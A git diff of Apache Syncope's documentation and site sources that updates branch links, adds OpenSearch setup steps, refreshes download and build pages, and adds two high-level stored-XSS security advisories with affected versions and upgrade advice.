image::realmsUser.png[console-realms-user] @@ -114,8 +114,7 @@ image::engagements.png[console-engagements] ===== Reports The reports page presents the designated administrators with the list of <> configured on the given -deployment. + -This page also allows the administratorss to create and edit <>. +deployment. image::consoleReports.png[console-reports] diff --git a/src/main/asciidoc/reference-guide/usage/clientlibrary.adoc b/src/main/asciidoc/reference-guide/usage/clientlibrary.adoc index 9137dfe524c..0a8629f5e17 100644 --- a/src/main/asciidoc/reference-guide/usage/clientlibrary.adoc +++ b/src/main/asciidoc/reference-guide/usage/clientlibrary.adoc @@ -158,8 +158,8 @@ GroupService groupService = client.getService(GroupService.class); PagedResult matchingGroups = groupService.search( new AnyQuery.Builder().realm("/even/two").page(3).size(150). - fiql(SyncopeClient.getGroupSearchConditionBuilder().isAssignable(). - and("name").equalTo("palo*").query()). + fiql(SyncopeClient.getGroupSearchConditionBuilder(). + is("name").equalTo("palo*").query()). build()); // <6> ---- <1> get the total number of users available in the given deployment (and <>) @@ -168,7 +168,7 @@ PagedResult matchingGroups = groupService.search( given deployment <4> get users in the root realm with <> `Other` assigned <5> get all any objects in the root realm with <> `PRINTER` -<6> get all groups that can be assigned to users or any objects in the `/even/two` realm - third page of the result, +<6> get all groups having name starting with prefix 'palo' - third page of the result, where each page contains 150 items ==== diff --git a/src/main/asciidoc/reference-guide/usage/core.adoc b/src/main/asciidoc/reference-guide/usage/core.adoc index f4e85db6870..be9ead18c2b 100644 --- a/src/main/asciidoc/reference-guide/usage/core.adoc +++ b/src/main/asciidoc/reference-guide/usage/core.adoc @@ -69,7 +69,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/spring/src/main/resources/securityContext.xml[securityContext.xml^]; endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/spring/src/main/resources/securityContext.xml[securityContext.xml^]; +https://github.com/apache/syncope/blob/3_0_X/core/spring/src/main/resources/securityContext.xml[securityContext.xml^]; endif::[] while normally not needed, this configuration can be anyway customized via the <>. @@ -84,7 +84,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTSSOProvider.java[JWTSSOProvider^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTSSOProvider.java[JWTSSOProvider^] +https://github.com/apache/syncope/tree/3_0_X/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTSSOProvider.java[JWTSSOProvider^] endif::[] interface. @@ -159,7 +159,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/ClientExceptionType.java[ClientExceptionType^]) endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/ClientExceptionType.java[ClientExceptionType^]) +https://github.com/apache/syncope/blob/3_0_X/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/ClientExceptionType.java[ClientExceptionType^]) endif::[] and `X-Application-Error-Info` might be optionally populated with more details, if available. diff --git a/src/main/asciidoc/reference-guide/usage/customization.adoc b/src/main/asciidoc/reference-guide/usage/customization.adoc index 3cc9aae5d89..8d6fc00b1b0 100644 --- a/src/main/asciidoc/reference-guide/usage/customization.adoc +++ b/src/main/asciidoc/reference-guide/usage/customization.adoc @@ -30,10 +30,10 @@ adding new features or replacing existing components. In general, the Embedded Mode (see the ifeval::["{backend}" == "html5"] -https://syncope.apache.org/docs/getting-started.html[Apache Syncope Getting Started Guide] +https://syncope.apache.org/docs/3.0/getting-started.html[Apache Syncope Getting Started Guide] endif::[] ifeval::["{backend}" == "pdf"] -https://syncope.apache.org/docs/getting-started.pdf[Apache Syncope Getting Started Guide] +https://syncope.apache.org/docs/3.0/getting-started.pdf[Apache Syncope Getting Started Guide] endif::[] for details) allows developers to work comfortably from a single workstation, with no need of additional setup; it is effectively implemented as the `all` @@ -46,10 +46,7 @@ The artifacts are generated by running the Maven command (with reference to the <>): .... -$ mvn clean verify \ - -Dconf.directory=/opt/syncope/conf \ - -Dbundles.directory=/opt/syncope/bundles \ - -Dlog.directory=/opt/syncope/log +$ mvn clean verify $ cp core/target/classes/*properties /opt/syncope/conf $ cp console/target/classes/*properties /opt/syncope/conf $ cp enduser/target/classes/*properties /opt/syncope/conf @@ -68,6 +65,15 @@ After downloading all of the dependencies that are needed, three following artif If no failures are encountered, your basic Apache Syncope project is now ready to be deployed. +Do not forget to define the following system properties: + +* `-Dsyncope.conf.dir=/opt/syncope/conf` + +(required by Core and WA) +* `-Dsyncope.connid.location=file:/opt/syncope/bundles` + +(required by Core) +* `-Dsyncope.log.dir=/opt/syncope/log` + +(required by all components) + [[embedded-debug]] [TIP] .JPDA Debug in Embedded Mode @@ -132,7 +138,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/spring/src/main/java/org/apache/syncope/core/spring/security/UsernamePasswordAuthenticationProvider.java[UsernamePasswordAuthenticationProvider^]. endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/spring/src/main/java/org/apache/syncope/core/spring/security/UsernamePasswordAuthenticationProvider.java[UsernamePasswordAuthenticationProvider^]. +https://github.com/apache/syncope/blob/3_0_X/core/spring/src/main/java/org/apache/syncope/core/spring/security/UsernamePasswordAuthenticationProvider.java[UsernamePasswordAuthenticationProvider^]. endif::[] The same happens with resources as images or HTML files; if you place @@ -144,7 +150,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/pages/BasePage.html[BasePage.html^]. endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/pages/BasePage.html[BasePage.html^]. +https://github.com/apache/syncope/blob/3_0_X/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/pages/BasePage.html[BasePage.html^]. endif::[] ===== Extending configuration @@ -231,11 +237,11 @@ $ mkdir /opt/syncope/conf [TIP] ==== The `conf` directory must be configured for deployment, following Spring Boot's -https://docs.spring.io/spring-boot/docs/2.7.x/reference/html/features.html#features.external-config[Externalized Configuration^] +https://docs.spring.io/spring-boot/docs/2.7.x/reference/htmlsingle/#features.external-config.files[Externalized Configuration^] settings; with above reference: -* <>: `--spring.config.location=/opt/syncope/conf/` -* <>: `-Dspring.config.location=/opt/syncope/conf/` +* <>: `--spring.config.additional-location=/opt/syncope/conf/` +* <>: `-Dspring.config.additional-location=/opt/syncope/conf/` ==== [[customization-core]] @@ -250,13 +256,13 @@ Besides replacing existing classes as explained <>, new be provided - in the source tree under `core/src/main/java` when Java or via REST services if Groovy - for the following components: -* <>, <>, <> and <> actions +* <>, <>, <>, <> and <> actions * <> / <> correlation rules * <> * <> * <> * <> -* <> +* <> * <> and <> rules for policies * <> * <> @@ -271,7 +277,7 @@ components: ===== Customize OpenJPA settings Apache OpenJPA is at the core of the <> layer; its configuration can be tweaked under several -aspects - including http://openjpa.apache.org/builds/3.1.2/apache-openjpa/docs/ref_guide_caching.html[caching^] for +aspects - including https://openjpa.apache.org/builds/3.2.2/apache-openjpa/docs/ref_guide_caching.html[caching^] for example, to best suit the various environments. The main configuration classes are: @@ -280,19 +286,19 @@ ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/PersistenceContext.java[PersistenceContext^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/PersistenceContext.java[PersistenceContext^] +* https://github.com/apache/syncope/blob/3_0_X/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/PersistenceContext.java[PersistenceContext^] endif::[] ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/MasterDomain.java[MasterDomain^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/MasterDomain.java[MasterDomain^] +* https://github.com/apache/syncope/blob/3_0_X/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/MasterDomain.java[MasterDomain^] endif::[] ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/DomainConfFactory.java[DomainConfFactory^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/DomainConfFactory.java[DomainConfFactory^] +* https://github.com/apache/syncope/blob/3_0_X/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/DomainConfFactory.java[DomainConfFactory^] endif::[] The `@Bean` declarations from these classes can be customized as explained <>. @@ -380,9 +386,7 @@ Create [source] .... -elasticsearch.hostname=localhost -elasticsearch.port=9200 -elasticsearch.scheme=http +elasticsearch.hosts[0]=http://localhost:9200 elasticsearch.indexMaxResultWindow=10000 elasticsearch.numberOfShards=1 elasticsearch.numberOfReplicas=1 @@ -399,7 +403,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchClientContext.java[ElasticsearchClientContext^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchClientContext.java[ElasticsearchClientContext^] +https://github.com/apache/syncope/blob/3_0_X/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchClientContext.java[ElasticsearchClientContext^] endif::[] as explained <>. @@ -412,6 +416,64 @@ The `org.apache.syncope.core.provisioning.java.job.ElasticsearchReindex` task cr scheduled execution; rather, it can be run every time you want to blank and re-create the Elasticsearch indexes starting from Syncope's internal storage. +[discrete] +===== Enable the <> extension + +Add the following dependencies to `core/pom.xml`: + +[source,xml,subs="verbatim,attributes"] +---- + + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-logic + ${syncope.version} + + + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-provisioning-java + ${syncope.version} + + + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-persistence-jpa + ${syncope.version} + +---- + +Create + +[source] +.... +opensearch.hosts[0]=http://localhost:9200 +opensearch.indexMaxResultWindow=10000 +opensearch.numberOfShards=1 +opensearch.numberOfReplicas=1 +.... + +as `core/src/main/resources/core-opensearch.properties`. + +Do not forget to include `opensearch` as +https://docs.spring.io/spring-boot/docs/2.7.x/reference/html/features.html#features.profiles.adding-active-profiles[Spring Boot profile^] +for the Core application. + +If needed, customize the `@Bean` declarations from +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchClientContext.java[OpenSearchClientContext^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchClientContext.java[OpenSearchClientContext^] +endif::[] +as explained <>. + +It is also required to initialize the OpenSearch indexes: add a new Java <> for +`TASKJOB_DELEGATE` and use `org.apache.syncope.core.provisioning.java.job.OpenSearchReindex` as class. + +Then, create a new <>, select the implementation just created as job delegate and execute it. + +[TIP] +The `org.apache.syncope.core.provisioning.java.job.OpenSearchReindex` task created above is not meant for +scheduled execution; rather, it can be run every time you want to blank and re-create the OpenSearch indexes +starting from Syncope's internal storage. + [discrete] ===== Enable the <> extension @@ -441,7 +503,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/flowable/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/BpmnProcessService.java[BpmnProcessService^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/ext/flowable/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/BpmnProcessService.java[BpmnProcessService^] +https://github.com/apache/syncope/blob/3_0_X/ext/flowable/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/BpmnProcessService.java[BpmnProcessService^] endif::[] for reference; . if needed, define supporting payload objects - in an extension's `common-lib` module or under `common` otherwise; @@ -450,7 +512,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/BpmnProcess.java[BpmnProcess^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/BpmnProcess.java[BpmnProcess^] +https://github.com/apache/syncope/blob/3_0_X/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/BpmnProcess.java[BpmnProcess^] endif::[] for reference; . implement - in an extension's `rest-cxf` module or under `core` otherwise - the interface defined above in a Java @@ -459,7 +521,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/flowable/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/BpmnProcessServiceImpl.java[BpmnProcessServiceImpl^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/ext/flowable/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/BpmnProcessServiceImpl.java[BpmnProcessServiceImpl^] +https://github.com/apache/syncope/blob/3_0_X/ext/flowable/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/BpmnProcessServiceImpl.java[BpmnProcessServiceImpl^] endif::[] for reference. @@ -613,5 +675,5 @@ available at runtime. <> can be part of a local project, to encapsulate special features which are specific to a given deployment. For example, the http://www.chorevolution.eu/[CHOReVOLUTION^] IdM - based on Apache Syncope - provides -https://gitlab.ow2.org/chorevolution/syncope/tree/master/ext/choreography[an extension^] +https://gitlab.ow2.org/chorevolution/syncope/tree/3_0_X/ext/choreography[an extension^] for managing via the <> and visualizing via the <> the running choreography instances. diff --git a/src/main/asciidoc/reference-guide/usage/usage.adoc b/src/main/asciidoc/reference-guide/usage/usage.adoc index f5a1c35d581..b85a39e4717 100644 --- a/src/main/asciidoc/reference-guide/usage/usage.adoc +++ b/src/main/asciidoc/reference-guide/usage/usage.adoc @@ -21,10 +21,10 @@ Before proceeding, please ensure that you have access to a running Apache Syncope deployment. You can take a look at the ifeval::["{backend}" == "html5"] -https://syncope.apache.org/docs/getting-started.html[Apache Syncope Getting Started Guide] +https://syncope.apache.org/docs/3.0/getting-started.html[Apache Syncope Getting Started Guide] endif::[] ifeval::["{backend}" == "pdf"] -https://syncope.apache.org/docs/getting-started.pdf[Apache Syncope Getting Started Guide] +https://syncope.apache.org/docs/3.0/getting-started.pdf[Apache Syncope Getting Started Guide] endif::[] to check system requirements and to choose among the various options for obtaining Apache Syncope. @@ -37,3 +37,5 @@ include::core.adoc[] include::clientlibrary.adoc[] include::customization.adoc[] + +include::actuator.adoc[] diff --git a/src/main/asciidoc/syncope-theme.yml b/src/main/asciidoc/syncope-theme.yml index bb5db86ad00..a4b99a0f1b6 100644 --- a/src/main/asciidoc/syncope-theme.yml +++ b/src/main/asciidoc/syncope-theme.yml @@ -16,29 +16,6 @@ # Fork from https://github.com/asciidoctor/asciidoctor-pdf/blob/master/data/themes/default-theme.yml # PDF styling guide: https://github.com/asciidoctor/asciidoctor-pdf/blob/master/docs/theming-guide.adoc -font: - catalog: - # Noto Serif supports Latin, Latin-1 Supplement, Latin Extended-A, Greek, Cyrillic, Vietnamese & an assortment of symbols - Noto Serif: - normal: notoserif-regular-subset.ttf - bold: notoserif-bold-subset.ttf - italic: notoserif-italic-subset.ttf - bold_italic: notoserif-bold_italic-subset.ttf - # M+ 1mn supports ASCII and the circled numbers used for conums - M+ 1mn: - normal: mplus1mn-regular-ascii-conums.ttf - bold: mplus1mn-bold-ascii.ttf - italic: mplus1mn-italic-ascii.ttf - bold_italic: mplus1mn-bold_italic-ascii.ttf - # M+ 1p supports Latin, Latin-1 Supplement, Latin Extended, Greek, Cyrillic, Vietnamese, Japanese & an assortment of symbols - # It also provides arrows for ->, <-, => and <= replacements in case these glyphs are missing from font - M+ 1p Fallback: - normal: mplus1p-regular-fallback.ttf - bold: mplus1p-regular-fallback.ttf - italic: mplus1p-regular-fallback.ttf - bold_italic: mplus1p-regular-fallback.ttf - fallbacks: - - M+ 1p Fallback page: background_color: ffffff layout: portrait diff --git a/src/site/site.xml b/src/site/site.xml index b859f908461..5cc0c2ff1df 100644 --- a/src/site/site.xml +++ b/src/site/site.xml @@ -18,11 +18,10 @@ specific language governing permissions and limitations under the License. --> - + @@ -30,7 +29,7 @@ under the License. org.apache.maven.skins maven-fluido-skin - 1.10.0 + 2.0.0-M11 @@ -82,12 +81,13 @@ under the License. +
    +Copyright © 2023, the Apache Software Foundation.
    Apache, Syncope, Apache Syncope, the Apache feather logo and the Apache Syncope project logo are trademarks of The Apache Software Foundation. All other marks mentioned may be trademarks or registered trademarks of their respective owners.
    @@ -107,4 +107,4 @@ Apache, Syncope, Apache Syncope, the Apache feather logo and the Apache Syncope
    -     + diff --git a/src/site/xdoc/building.xml b/src/site/xdoc/building.xml index 5272b8fcde8..a98276d2e42 100644 --- a/src/site/xdoc/building.xml +++ b/src/site/xdoc/building.xml @@ -35,7 +35,7 @@ under the License.

      -
    • JDK 8 or higher for ≤ 2.1; JDK 11 or higher for later versions
      • +
    • JDK 8 for ≤ 2.1; JDK 11 for 3.0; JDK 21 for later versions
    • Latest Apache Maven
      • @@ -65,7 +65,7 @@ under the License. On Windows you can find it in several distributions including GNUWin32

      - +
    @@ -73,11 +73,11 @@ under the License. Before building Syncope, you need to setup an environment variable to give Maven more memory.

    - On Unix with JDK 8 or later + On Unix export MAVEN_OPTS="-Xms512m -Xmx1024m"

    - On Windows with JDK 8 or later + On Windows set MAVEN_OPTS=-Xms512m -Xmx1024m

    @@ -144,9 +144,7 @@ under the License.

    HotSwapAgent

    - Similar to Debug, but with HotSwapAgent features enabled (requires - DCEVM Java installed as "alternative JVM" and IDE of choice - set up properly). + Similar to Debug, but with HotSwapAgent features enabled. $ mvn -Photswap,all

    DBMSes

    @@ -155,20 +153,32 @@ under the License.
    PostgreSQL
    +
    +

    This build profile requires Docker to work.

    +
    Perform the full test suite against a real PostgreSQL database via $ mvn -Ppostgres-it or $ mvn -Ppgjsonb-it (for JSONB support)
    MySQL
    +
    +

    This build profile requires Docker to work.

    +
    Perform the full test suite against a real MySQL database via $ mvn -Pmysql-it or $ mvn -Pmyjson-it (for JSON support)
    MariaDB
    +
    +

    This build profile requires Docker to work.

    +
    Perform the full test suite against a real MariaDB database via - $ mvn -Pmariadb-it + $ mvn -Pmariadb-it or $ mvn -Pmajson-it (for JSON support)
    Oracle database
    +
    +

    This build profile requires Docker to work.

    +
    Perform the full test suite against a real Oracle database via - $ mvn -Poracle-it + $ mvn -Poracle-it or $ mvn -Pojson-it (for JSON support)
    MS SQL Server
    Prform the full test suite against a real MS SQL Server database via @@ -186,13 +196,21 @@ under the License. Wildfly via $ mvn -Pwildfly-it -

    Elasticsearch

    +

    External search engines

    + +
    Elasticsearch
    -

    This build profile require Docker to work.

    +

    This build profile requires Docker to work.

    - Perform the full test suite relying on a real Elasticsearch instance via $ mvn -Pelasticsearch-it + +
    OpenSearch
    +
    +

    This build profile requires Docker to work.

    +
    + Perform the full test suite relying on a real OpenSearch instance via + $ mvn -Popensearch-it @@ -203,9 +221,7 @@ under the License. $ mvn -Pdebug

    HotSwapAgent

    - Similar to Debug, but with HotSwapAgent features enabled (requires - DCEVM Java installed as "alternative JVM" and IDE of choice - set up properly). + Similar to Debug, but with HotSwapAgent features enabled. $ mvn -Photswap     @@ -217,9 +233,7 @@ under the License. $ mvn -Pdebug

    HotSwapAgent

    - Similar to Debug, but with HotSwapAgent features enabled (requires - DCEVM Java installed as "alternative JVM" and IDE of choice - set up properly). + Similar to Debug, but with HotSwapAgent features enabled. $ mvn -Photswap @@ -231,9 +245,7 @@ under the License. $ mvn -Pdebug

    HotSwapAgent

    - Similar to Debug, but with HotSwapAgent features enabled (requires - DCEVM Java installed as "alternative JVM" and IDE of choice - set up properly). + Similar to Debug, but with HotSwapAgent features enabled. $ mvn -Photswap diff --git a/src/site/xdoc/docs/index.xml b/src/site/xdoc/docs/index.xml index 159ae26ff7c..bc1d5c41f7b 100644 --- a/src/site/xdoc/docs/index.xml +++ b/src/site/xdoc/docs/index.xml @@ -74,11 +74,11 @@ under the License. - +   - + @@ -104,11 +104,11 @@ under the License. - +   - + diff --git a/src/site/xdoc/downloads.xml b/src/site/xdoc/downloads.xml index b08af3c2872..dc5ee183c5d 100644 --- a/src/site/xdoc/downloads.xml +++ b/src/site/xdoc/downloads.xml @@ -36,8 +36,8 @@ under the License. It is good practice to verify the integrity of the distribution files.

    - -

    Release date: November 11th 2022

    + +

    Release date: December 27th 2024

    Release notes

    @@ -61,28 +61,28 @@ under the License. - syncope-3.0.0-source-release.zip + syncope-3.0.10-source-release.zip - asc - sha512 + asc + sha512 - syncope-standalone-3.0.0-distribution.zip + syncope-standalone-3.0.10-distribution.zip - asc - sha512 + asc + sha512     - -

    Release date: December 9th 2022

    + +

    Release date: May 5th 2023

    Release notes

    @@ -110,92 +110,92 @@ under the License. - syncope-2.1.13-source-release.zip + syncope-2.1.14-source-release.zip - asc - sha512 + asc + sha512 - syncope-standalone-2.1.13-distribution.zip + syncope-standalone-2.1.14-distribution.zip - asc - sha512 + asc + sha512 - apache-syncope-2.1.13.deb + apache-syncope-2.1.14.deb - asc - sha512 + asc + sha512 - apache-syncope-console-2.1.13.deb + apache-syncope-console-2.1.14.deb - asc - sha512 + asc + sha512 - apache-syncope-enduser-2.1.13.deb + apache-syncope-enduser-2.1.14.deb - asc - sha512 + asc + sha512 - syncope-installer-2.1.13-uber.jar + syncope-installer-2.1.14-uber.jar - asc - sha512 + asc + sha512 - syncope-client-cli-2.1.13.zip + syncope-client-cli-2.1.14.zip - asc - sha512 + asc + sha512 - syncope-core-upgrade-2.1.13.zip + syncope-core-upgrade-2.1.14.zip - asc - sha512 + asc + sha512 - org.apache.syncope.ide.eclipse.site-2.1.13.zip + org.apache.syncope.ide.eclipse.site-2.1.14.zip - asc - sha512 + asc + sha512 - syncope-ide-netbeans-2.1.13.nbm + syncope-ide-netbeans-2.1.14.nbm - asc - sha512 + asc + sha512 diff --git a/src/site/xdoc/integration.xml b/src/site/xdoc/integration.xml index ae8ba5614b2..0b7f7ee5b8d 100644 --- a/src/site/xdoc/integration.xml +++ b/src/site/xdoc/integration.xml @@ -28,7 +28,7 @@ under the License.

    - https://ci-builds.apache.org./job/Syncope/ + https://ci-builds.apache.org./job/Syncope/

    @@ -45,7 +45,7 @@ under the License.

    - master + 3_0_X

    2_1_X diff --git a/src/site/xdoc/release-process.xml b/src/site/xdoc/release-process.xml index fc9b628e492..1417fb18582 100644 --- a/src/site/xdoc/release-process.xml +++ b/src/site/xdoc/release-process.xml @@ -313,7 +313,7 @@ svn copy apidocs/3.0 $VERSION/apidocs/ svn copy rest/3.0 $VERSION/rest/ svn copy docs/3.0 $VERSION/docs/ -# else if releasing from master +# else if releasing from 3_0_X mkdir -p rest/3.0 mv /tmp/openapi.json rest/3.0/ cp -r $SYNCOPE_RELEASE_DIR/core/starter/target/swagger-ui/META-INF/resources/webjars/swagger-ui/*/* rest/3.0/ @@ -321,10 +321,14 @@ sed 's/rest\/openapi.json/openapi.json/' $SYNCOPE_RELEASE_DIR/core/starter/targe mkdir -p docs/3.0 cp $SYNCOPE_SITE_DIR/target/generated-docs/getting-started.* docs/3.0/ cp $SYNCOPE_SITE_DIR/target/generated-docs/reference-guide.* docs/3.0/ +cp -r $SYNCOPE_SITE_DIR/target/generated-docs/css docs/3.0/ +cp -r $SYNCOPE_SITE_DIR/target/generated-docs/fonts docs/3.0/ cp -r $SYNCOPE_SITE_DIR/target/generated-docs/images docs/3.0/ cd docs ln -s 3.0/reference-guide.html . ln -s 3.0/getting-started.html . +ln -s 3.0/css/ . +ln -s 3.0/fonts/ . ln -s 3.0/images/ . cd ../.. svn add $VERSION @@ -496,10 +500,8 @@ svn mv -m "Moving the voted release artifacts to dist/release" \ https://dist.apache.org/repos/dist/dev/syncope/$VERSION https://dist.apache.org/repos/dist/release/syncope/ -svn co https://dist.apache.org/repos/dist/release/syncope syncope-dist-release -cd syncope-dist-release -svn rm -svn commit -m "Cleaning up older releases"]]> +svn rm -m "Cleaning up older releases" \ +https://dist.apache.org/repos/dist/release/syncope/$OLD_VERSION/]]>

  • Add appropriate release notes to @@ -516,14 +518,14 @@ svn commit -m "Cleaning up older releases"]]>
  • Deploy the updated Docker images to DockerHub by adjusting the GIT tag - name then running the dedicated Jenkins job. + name then running the dedicated Jenkins job.
    • diff --git a/src/site/xdoc/security.xml b/src/site/xdoc/security.xml index ecc9c77ab9c..536be0edabc 100644 --- a/src/site/xdoc/security.xml +++ b/src/site/xdoc/security.xml @@ -36,6 +36,86 @@ under the License.

    If you want to report a vulnerability, please follow the procedure.

    + +

    When editing objects in the Syncope Console, incomplete HTML tags could be used to bypass HTML sanitization. This made it possible to inject stored XSS payloads which would trigger for other users during ordinary usage of the application.
    +XSS payloads could also be injected in Syncope Enduser when editing “Personal Information†or “User Requestsâ€: such payloads would trigger for administrators in Syncope Console, thus enabling session hijacking.

    + +

    + Severity +

    +

    Moderate

    + +

    + Affects +

    +

    +

      +
    • 3.0 through 3.0.8
      • +
    • 2.1 through 2.1.14
      • +
    +

    + +

    + Solution +

    +

    +

      +
    • Users are recommended to upgrade to version 3.0.9, which fixes this issue.
      • +
    +

    + +

    + Fixed in +

    +

    +

      +
    • Release 3.0.9
      • +
    +

    + +

    Read the full CVE advisory.

    +     + + +

    When editing a user, group or any object in the Syncope Console, HTML tags could be added to any text field and could lead to potential exploits. +The same vulnerability was found in the Syncope Enduser, when editing “Personal Information†or “User Requestsâ€.

    + +

    + Severity +

    +

    Moderate

    + +

    + Affects +

    +

    +

      +
    • 3.0 through 3.0.7
      • +
    • 2.1 through 2.1.14
      • +
    +

    + +

    + Solution +

    +

    +

      +
    • Users are recommended to upgrade to version 3.0.8, which fixes this issue.
      • +
    +

    + +

    + Fixed in +

    +

    +

      +
    • Release 3.0.8
      • +
    +

    + +

    Read the full CVE advisory.

    +     +

    When the Flowable extension is enabled, an administrator with workflow entitlements can use Shell Service Tasks to perform malicious operations, including but not limited to file read, file write, and code execution.

    diff --git a/standalone/LICENSE b/standalone/LICENSE index 533da21befd..6c1eba6cfc1 100644 --- a/standalone/LICENSE +++ b/standalone/LICENSE @@ -237,6 +237,16 @@ This is licensed under the MIT license, see above. == +For balanced-match (https://github.com/juliangruber/balanced-match): +This is licensed under the MIT license, see above. + +== + +For base64-js (https://github.com/beatgammit/base64-js): +This is licensed under the MIT license, see above. + +== + For Bootbox.js (http://bootboxjs.com/): This is licensed under the MIT license, see above. @@ -257,6 +267,11 @@ This is licensed under the AL 2.0, see above. == +For Chart.js (http://www.chartjs.org/): +This is licensed under the AL 2.0, see above. + +== + For CodeMirror (http://codemirror.net/): This is licensed under the MIT license, see above. @@ -776,12 +791,12 @@ This is licensed under the AL 2.0, see above. == -For mchange-commons-java (https://github.com/swaldman/mchange-commons-java): -This is licensed under the EPL 1.0, see above. +For Microsoft OAuth 2.0 User Agent library for Java (https://github.com/Microsoft/oauth2-useragent): +This is licensed under the MIT license, see above. == -For Microsoft OAuth 2.0 User Agent library for Java (https://github.com/Microsoft/oauth2-useragent): +For Microsoft Azure Active Directory Authentication Library (ADAL) for Java (https://github.com/AzureAD/azure-activedirectory-library-for-java): This is licensed under the MIT license, see above. == @@ -806,6 +821,11 @@ This is licensed under the AL 2.0, see above. == +For Okta Java Management SDK (https://github.com/okta/okta-sdk-java): +This is licensed under the AL 2.0, see above. + +== + For Moshi (https://square.github.io/moshi/1.x): This is licensed under the AL 2.0, see above. @@ -1217,37 +1237,12 @@ of liability. == -For Eclipse Metro (https://projects.eclipse.org/projects/ee4j.metro): -This is licensed under the EDL 1.0: - -Eclipse Distribution License - v 1.0 - -Copyright (c) 2007, Eclipse Foundation, Inc. and its licensors. - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the -following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this list of conditions and the following - disclaimer. -* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following - disclaimer in the documentation and/or other materials provided with the distribution. -* Neither the name of the Eclipse Foundation, Inc. nor the names of its contributors may be used to endorse or promote - products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, -INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 